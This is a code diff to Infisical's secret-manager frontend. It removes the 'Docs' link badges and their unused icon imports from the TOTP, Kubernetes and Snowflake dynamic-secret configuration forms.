frontend/src/pages/secret-manager/SecretDashboardPage/components/ActionBar/CreateDynamicSecretForm/TotpInputForm.tsx

@@ -1,6 +1,4 @@
 import { Controller, useForm } from "react-hook-form";
-import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import { z } from "zod";
 
@@ -146,20 +144,6 @@ export const TotpInputForm = ({
           <div>
             <div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
               Configuration
-              <a
-                href="https://infisical.com/docs/documentation/platform/dynamic-secrets/totp"
-                target="_blank"
-                rel="noopener noreferrer"
-              >
-                <div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
-                  <FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
-                  Docs
-                  <FontAwesomeIcon
-                    icon={faArrowUpRightFromSquare}
-                    className="mb-[0.07rem] ml-1.5 text-xxs"
-                  />
-                </div>
-              </a>
             </div>
             <div className="flex flex-col">
               <Controller

frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretKubernetesForm.tsx

@@ -1,10 +1,5 @@
 import { Controller, FieldValues, useFieldArray, useForm } from "react-hook-form";
-import {
-  faArrowUpRightFromSquare,
-  faBookOpen,
-  faQuestionCircle,
-  faTrash
-} from "@fortawesome/free-solid-svg-icons";
+import { faQuestionCircle, faTrash } from "@fortawesome/free-solid-svg-icons";
 import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import { useQuery } from "@tanstack/react-query";
@@ -285,20 +280,6 @@ export const EditDynamicSecretKubernetesForm = ({
           <div>
             <div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
               Configuration
-              <a
-                href="https://infisical.com/docs/documentation/platform/dynamic-secrets/kubernetes"
-                target="_blank"
-                rel="noopener noreferrer"
-              >
-                <div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
-                  <FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
-                  Docs
-                  <FontAwesomeIcon
-                    icon={faArrowUpRightFromSquare}
-                    className="mb-[0.07rem] ml-1.5 text-xxs"
-                  />
-                </div>
-              </a>
             </div>
             <div className="flex flex-col">
               <div className="flex items-center space-x-2">

frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretSnowflakeForm.tsx

@@ -1,6 +1,4 @@
 import { Controller, useForm } from "react-hook-form";
-import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import ms from "ms";
 import { z } from "zod";
@@ -186,20 +184,6 @@ export const EditDynamicSecretSnowflakeForm = ({
           <div>
             <div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
               Configuration
-              <a
-                href="https://infisical.com/docs/documentation/platform/dynamic-secrets/snowflake"
-                target="_blank"
-                rel="noopener noreferrer"
-              >
-                <div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
-                  <FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
-                  Docs
-                  <FontAwesomeIcon
-                    icon={faArrowUpRightFromSquare}
-                    className="mb-[0.07rem] ml-1.5 text-xxs"
-                  />
-                </div>
-              </a>
             </div>
             <div className="flex flex-col">
               <div className="flex items-center space-x-2">

frontend/src/pages/secret-manager/SecretDashboardPage/components/DynamicSecretListView/EditDynamicSecretForm/EditDynamicSecretTotpForm.tsx

@@ -1,6 +1,4 @@
 import { Controller, useForm } from "react-hook-form";
-import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
-import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
 import { zodResolver } from "@hookform/resolvers/zod";
 import { z } from "zod";
 
@@ -138,20 +136,6 @@ export const EditDynamicSecretTotpForm = ({
           <div>
             <div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
               Configuration
-              <a
-                href="https://infisical.com/docs/documentation/platform/dynamic-secrets/totp"
-                target="_blank"
-                rel="noopener noreferrer"
-              >
-                <div className="mb-1 ml-2 inline-block rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
-                  <FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
-                  Docs
-                  <FontAwesomeIcon
-                    icon={faArrowUpRightFromSquare}
-                    className="mb-[0.07rem] ml-1.5 text-xxs"
-                  />
-                </div>
-              </a>
             </div>
             <div className="flex flex-col">
               <Controller